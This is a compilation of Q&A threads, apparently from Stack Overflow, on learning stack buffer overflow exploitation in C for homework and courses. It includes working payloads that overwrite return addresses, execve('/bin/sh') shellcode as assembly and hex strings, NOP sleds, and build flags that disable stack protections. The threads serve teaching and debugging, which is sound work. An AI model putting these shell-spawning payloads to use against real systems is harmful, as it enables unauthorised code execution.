How can I exploit a buffer overflow? - c

I have a homework assignment to exploit a buffer overflow in the given program.
#include <stdio.h>
#include <stdlib.h>
int oopsIGotToTheBadFunction(void)
{
printf("Gotcha!\n");
exit(0);
}
int goodFunctionUserInput(void)
{
char buf[12];
gets(buf);
return(1);
}
int main(void)
{
goodFunctionUserInput();
printf("Overflow failed\n");
return(1);
}
The professor wants us to exploit the input gets(). We are not suppose to modify the code in any way, only create a malicious input that will create a buffer overflow. I've looked online but I am not sure how to go about doing this. I'm using gcc version 5.2.0 and Windows 10 version 1703. Any tips would be great!
Update:
I have looked up some tutorials and at least found the address for the hidden function I am trying to overflow into, but I am now stuck. I have been trying to run these commands:
gcc -g -o vuln -fno-stack-protector -m32 homework5.c
gdb ./vuln
disas main
break *0x00010880
run $(python -c "print('A'*256)")
x/200xb $esp
With that last command, it comes up saying "Value can't be converted to integer." I tried replacing esp to rsp because I am on a 64-bit but that came up with the same result. Is there a work around to this or another way to find the address of buf?

Since buf is pointing to an array of characters that are of length 12, inputing anything with a length greater than 12 should result in buffer overflow.

First, you need to find the offset to overwrite the Instruction pointer register (EIP).
Use gdb + peda is very useful:
$ gdb ./bof
...
gdb-peda$ pattern create 100 input
Writing pattern of 100 chars to filename "input"
...
gdb-peda$ r < input
Starting program: /tmp/bof < input
...
=> 0x4005c8 <goodFunctionUserInput+26>: ret
0x4005c9 <main>: push rbp
0x4005ca <main+1>: mov rbp,rsp
0x4005cd <main+4>: call 0x4005ae <goodFunctionUserInput>
0x4005d2 <main+9>: mov edi,0x40067c
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe288 ("(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0x7fffffffe290 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0x7fffffffe298 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffe2a0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffe2a8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffe2b0 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffe2b8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0056| 0x7fffffffe2c0 ("AJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005c8 in goodFunctionUserInput ()
gdb-peda$ patts
Registers contain pattern buffer:
R8+0 found at offset: 92
R9+0 found at offset: 56
RBP+0 found at offset: 16
Registers point to pattern buffer:
[RSP] --> offset 24 - size ~76
[RSI] --> offset 0 - size ~100
....
Now, you can overwrite the EIP register, the offset is 24 bytes. As in your homework just need print the "Gotcha!\n" string. Just jump to oopsIGotToTheBadFunction function.
Get the function address:
$ readelf -s bof
...
50: 0000000000400596 24 FUNC GLOBAL DEFAULT 13 oopsIGotToTheBadFunction
...
Make the exploit and got the results:
[manu#debian /tmp]$ python -c 'print "A"*24+"\x96\x05\x40\x00\x00\x00\x00\x00"' > input
[manu#debian /tmp]$ ./bof < input
Gotcha!

Related

32 bit shellcode causes a segmentation fault when trying to push "/bin//sh" to the stack

I'm following the opensecuritytraining course "exploits 1". Currently I'm trying to exploit a simple c program with some shellcode on a 32 bit linux system using a buffer overflow. The c program:
void main(int argc, char **argv)
{
char buf[64];
strcpy(buf,argv[1]);
}
I compiled the program using the command "tcc -g -o basic_vuln basic_vuln.c". Then, I programmed the following shellcode.
section .text
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 11
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
int 0x80
I compiled it by typing "nasm -f elf shell.asm; ld -o shell shell.o". When I try to execute "shell" on it's own, it works and I get a shell. Next, I disassembled the program with objdump, wrote a perl file which prints the opcodes, and then redirected the output of said perl file along with 39 nop instructions before the shellcode to a file called "shellcode", so the payload is now 64 bytes long, filling the buffer. Then, I opened the c program in gdb, and picked an address in the middle of the nop sled, which will be the new return address (0xbffff540). I appended the address to the "shellcode" file, along with 4 bytes to overwrite the saved frame pointer. The shellcode looks like this:
Now, when I try to run this shellcode in gdb in the c program, it causes a segmentation fault at address 0xbffff575, which points at a certain point in my shellcode, 0x62, which is the character "b" in "/bin/sh". What could cause this?
Here's my stack frame, confirming that the return address I choose does return to the middle of the nop sled.
The course does provide shellcode that does work in gdb in the c program:
After main returns into your shellcode, ESP will probably be pointing just above that buffer. And EIP is pointing to the start of it; that's what returning into it means.
A couple push instructions may modify the machine code at the end of the buffer, leading to a SIGILL with EIP pointing at a byte you just pushed.
Probably the easiest fix is add esp, -128 to go all the way past your buffer. Or sub esp, -128 to go higher up the stack. (-128 is the largest magnitude 8-bit immediate you can use, avoiding introducing zeros in the machine code with sub esp, 128 or 1024. If you wanted to move the stack farther, you could of course construct a larger value in a register.)
I didn't test this guess, but you can confirm it in GDB by single-stepping into your shellcode with si from the end of main to step by instructions.
Use disas after each instruction to see disassembly. Or use layout reg. See the bottom of https://stackoverflow.com/tags/x86/info for more GDB debugging tips.
The given solution is more complicated because it apparently sets up an actual argv array instead of just passing NULL pointers for char **argv and char **envp. (Which on Linux is treated the same as valid pointers to empty NULL-terminated arrays: http://man7.org/linux/man-pages/man2/execve.2.html#NOTES).
But the key difference is that it uses jmp/call/pop to get a pointer to a string already in memory. That's only one stack slot not three. (The end of its payload before the return address is data, not instructions, but it would fail in a different way if it did too many pushes and overwrote the string instead of just storing a 0 terminator. The call jumps backwards before the pushed return address actually modifies the buffer, but if it did overwrite anything near the end it would still break.)
#Margaret looked into this in more detail, and spotted that it's only the 3rd push that breaks anything. That makes sense: the first 2 are presumably overwriting the part of the payload that contained the new return address and the saved EBP value. And it just so happened that the compiler put main's buffer contiguous with that.
If you actually used tcc not gcc, that's probably not a surprise. GCC would have aligned it by 16 and probably for one reason or another left a gap between the buffer and the top of the stack frame.

gdb stuck when trying to run buffer overflow exploit

I'm trying to learn buffer overflow but I found myself in dead end. When I want to execute shellcode gdb just stuck and dont react to anything (Ctrl-C, Ctrl-D, Enter, Esc) and I have to close terminal and run everything again. I have this vulnerable program running on Linux 64 bit:
int main(int argc, char **argv) {
char buffer[256];
if (argc != 2) {
exit(0);
}
printf("%p\n", buffer);
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
return 0;
}
In gdb:
$ gcc vuln.c -o vuln -g -z execstack -fno-stack-protector
$ sudo gdb -q vuln
(gdb) list
1 #include <stdio.h>
2 #include <string.h>
3 #include <stdlib.h>
4
5 int main(int argc, char **argv) {
6 char buffer[256];
7 if (argc != 2) {
8 exit(0);
9 }
10 printf("%p\n", buffer);
(gdb) break 5
Breakpoint 1 at 0x4005de: file vuln.c, line 5.
(gdb) run $(python3 -c 'print("A" * 264 + "B" * 6)')
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("A" * 264 + "B" * 6)')
Breakpoint 1, main (argc=2, argv=0x7fffffffe378) at vuln.c:7
7 if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe190
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000424242424242 in ?? ()
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x7ffff7b01ef4 140737348902644
rdx 0x7ffff7dd28c0 140737351854272
rsi 0x602260 6300256
rdi 0x0 0
rbp 0x4141414141414141 0x4141414141414141
rsp 0x7fffffffe2a0 0x7fffffffe2a0
r8 0xfffffffffffffff0 -16
r9 0xffffffffffffff00 -256
r10 0x60236e 6300526
r11 0x246 582
r12 0x4004e0 4195552
r13 0x7fffffffe370 140737488348016
r14 0x0 0
r15 0x0 0
rip 0x424242424242 0x424242424242
(gdb) run $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/vladimir/workspace/hacking/vuln $(python3 -c 'print("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" + "\x90" * 233 + "\x90\xe1\xff\xff\xff\x7f")')
Breakpoint 1, main (argc=2, argv=0x7fffffffe288) at vuln.c:7
7 if (argc != 2) {
(gdb) cont
Continuing.
0x7fffffffe0a0
After address there is also printed some garbage and as said gdb get stucked. Even if I run program in the same session of gdb, with these two different inputs, the address of buffer somehow changes and I cant think of why. Can someone tell me why gdb stuck and why address is changing? What am I doing wrong?
Each time you run your compiled program, gdb will call the the linker to allocate some space for buffer. There's no guarantee that it will be in the same space each time, and gdb might deliberately put it somewhere else to keep different runs separate.
What you're doing with the C program here is causing an error which is trapped by the operating system and cleaned up. There's a huge gap between causing a simple buffer overflow and being able to use that to run shell commands. You have code to do the first bit, but you need a lot more insight to do the second bit.
If you really want to do this sort of thing, you're going to have to do a fair bit more reading to understand what's going on, and what you might be able to do.
The address changes because the stack pointer upon entering main depends on the total length of the command line arguments. The two python snippets generate data of different lengths.

How to explain this buffer overflow vulnerability in C

Given this C program:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[1024];
strcpy(buf, argv[1]);
}
Built with:
gcc -m32 -z execstack prog.c -o prog
Given shell code:
EGG=$(printf '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/df')
The program is exploitable with the commands:
./prog $EGG$(python -c 'print "A" * 991 + "\x87\x83\x04\x08"')
./prog $EGG$(python -c 'print "A" * 991 + "\x0f\x84\x04\x08"')
where I got the addresses from:
$ objdump -d prog | grep call.*eax
8048387: ff d0 call *%eax
804840f: ff d0 call *%eax
I understand the meaning of the AAAA paddings in the middle, I calculated the 991 based on the length of buf in the program and the length of $EGG.
What I don't understand is why any of these addresses with call *%eax trigger the execution of the shellcode copied to the beginning of buf. As far as I understand, I'm overwriting the return address with 0x8048387 (or the other one), what I don't understand is why this leads to jumping to the shellcode.
I got this far by reading Smashing the stack for fun and profit. But the article uses a different approach of guessing a relative address to jump to the shellcode. I'm puzzled by why this more simple, alternative solution works, straight without guesswork.
The return value of strcpy is the destination (buf in this case) and that's passed using register eax. Thus if nothing destroys eax until main returns, eax will hold a pointer to your shell code.

Buffer overflow, not expected result

Hi I am learning about Buffer Overflow. For better understanding I wrote one small code to check what is happening, but i did not find anything wrong.
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
And Output :
[krishna]$ gcc -o testsc testsc.c
[krishna]$ ./testsc
$ exit
[krishna]$
Why it is exit? Any other way I can check what happening inside when my program is executing.
What else I can try if my approach is not good enough?
Assigning a pointer isn't the same as copying a buffer. You probably meant:
memcpy(ret, shellcode, sizeof(shellcode));
However this isn't a buffer overflow either. In this case you will attempt to write to the readonly code pages of the program, so you will get an signal or system exception of some type.
I know this doesn't answer the question but it lets you know what the shellcode does
Your best bet would be to run test program in a disassembler like ollydbg or IDA PRO and breakpoint line by line to see what it does exactly.
I used ConvertShellcode 2.0 which shows the shellcode as assembly and here is what it looks like
Download link to ConvertShellcode.exe http://www.mediafire.com/?rnnqjdyv0nbency
Usage.
ConvertShellcode.exe \xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3
ConvertShellcode 2.0
Copyright (C) 2009 Alain Rioux. All rights reserved.
Assembly language source code :
***************************************
00000000 jmp 0x2c
00000002 pop esi
00000003 mov dword[esi+0x8],esi
00000006 mov byte[esi+0x7],0x0
0000000a mov dword[esi+0xc],0x0
00000011 mov eax,0xb
00000016 mov ebx,esi
00000018 lea ecx,[esi+0x8]
0000001b lea edx,[esi+0xc]
0000001e int 0x80
00000020 mov eax,0x1
00000025 mov ebx,0x0
0000002a int 0x80
0000002c call 0x2
00000031 das
00000032 bound ebp,qword[ecx+0x6e]
00000035 das
00000036 jae 0xa0
You can use gdb for debugging and understanding what is happening inside.
gcc -g -o testsc testsc.c
gdb testsc
(gdb)break main
(gdb)print ret
(gdb)print *ret
and go step by step through the code.
Meanwhile you can view the disassembled code by using readelf/objdump
In another terminal,
objdump -xsd testsc
And use the convert shell code as mentioned by SSpoke to see what the shell code will look like in assembly.
Also have a look at assembler code by using
gcc -S testsc.c
Why it is exit?
sh prints exit if input is at EOF, for example when Ctrl D has been pressed; if you didn't do that, there must be some other reason for the EOF.
Any other way I can check what happening inside when my program is
executing.
Since your program has already successfully executed /bin/sh, I see no point in checking inside your program with a debugger. I'd look at the output of strace testsc (that also traces the shell); near the end we should see a read call which is supposed to get command line input for sh; perhaps from the returned value and error number we can deduce the reason for the EOF, or we could see where the used file descriptor comes from.
By the way, your program compiled with gcc 2.95.3 (x86) works without sh exiting immediately.
buffer overflow?
char a[8];
strcpy(a, "0123456789");

Execution of function pointer to Shellcode

I'm trying to execute this simple opcode for exit(0) call by overwriting the return address of main.
The problem is I'm getting segmentation fault.
#include <stdio.h>
char shellcode[]= "/0xbb/0x14/0x00/0x00/0x00"
"/0xb8/0x01/0x00/0x00/0x00"
"/0xcd/0x80";
void main()
{
int *ret;
ret = (int *)&ret + 2; // +2 to get to the return address on the stack
(*ret) = (int)shellcode;
}
Execution result in Segmentation error.
[user1#fedo BOF]$ gcc -o ExitShellCode ExitShellCode.c
[user1#fedo BOF]$ ./ExitShellCode
Segmentation fault (core dumped)
This is the Objdump of the shellcode.a
[user1#fedo BOF]$ objdump -d exitShellcodeaAss
exitShellcodeaAss: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: bb 14 00 00 00 mov $0x14,%ebx
8048059: b8 01 00 00 00 mov $0x1,%eax
804805e: cd 80 int $0x80
System I'm using
fedora Linux 3.1.2-1.fc16.i686
ASLR is disabled.
Debugging with GDB.
gcc version 4.6.2
mmm maybe it is to late to answer to this question, but they might be a passive syntax error. It seems like thet shellcode is malformed, I mean:
char shellcode[]= "/0xbb/0x14/0x00/0x00/0x00"
"/0xb8/0x01/0x00/0x00/0x00"
"/0xcd/0x80";
its not the same as:
char shellcode[]= "\xbb\x14\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
although this fix won't help you solving this problem, but have you tried disabling some kernel protection mechanism like: NX bit, Stack Randomization, etc... ?
Based on two other questions, namely How to determine return address on stack? and C: return address of function (mac), i'm confident that you are not overwriting the correct address. This is basically caused due to your assumption, that the return address can be determined in the way you did it. But as the answer to thefirst question (1) states, this must not be the case.
Therefore:
Check if the address is really correct
Find a way for determining the correct return address, if you do not want to use the builtin GCC feature
You can also execute shellcode like in this scenario, by casting the buffer to a function like
(*(int(*)()) shellcode)();
If you want the shellcode be executed in the stack you must compile without NX (stack protector) and with correct permissions.
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
E.g.
#include <stdio.h>
#include <string.h>
const char code[] ="\xbb\x14\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main()
{
printf("Length: %d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
If you want to debug it with gdb:
[manu#debian /tmp]$ gdb ./shellcode
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
...
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb) b *&code
Breakpoint 1 at 0x4005c4
(gdb) r
Starting program: /tmp/shellcode
Length: 2 bytes
Breakpoint 1, 0x00000000004005c4 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x00000000004005c4 <+0>: mov $0x14,%ebx
0x00000000004005c9 <+5>: mov $0x1,%eax
0x00000000004005ce <+10>: int $0x80
0x00000000004005d0 <+12>: add %cl,0x6e(%rbp,%riz,2)
End of assembler dump.
In this proof of concept example is not important the null bytes. But when you are developing shellcodes you should keep in mind and remove the bad characters.
Shellcode cannot have Zeros on it. Remove the null characters.

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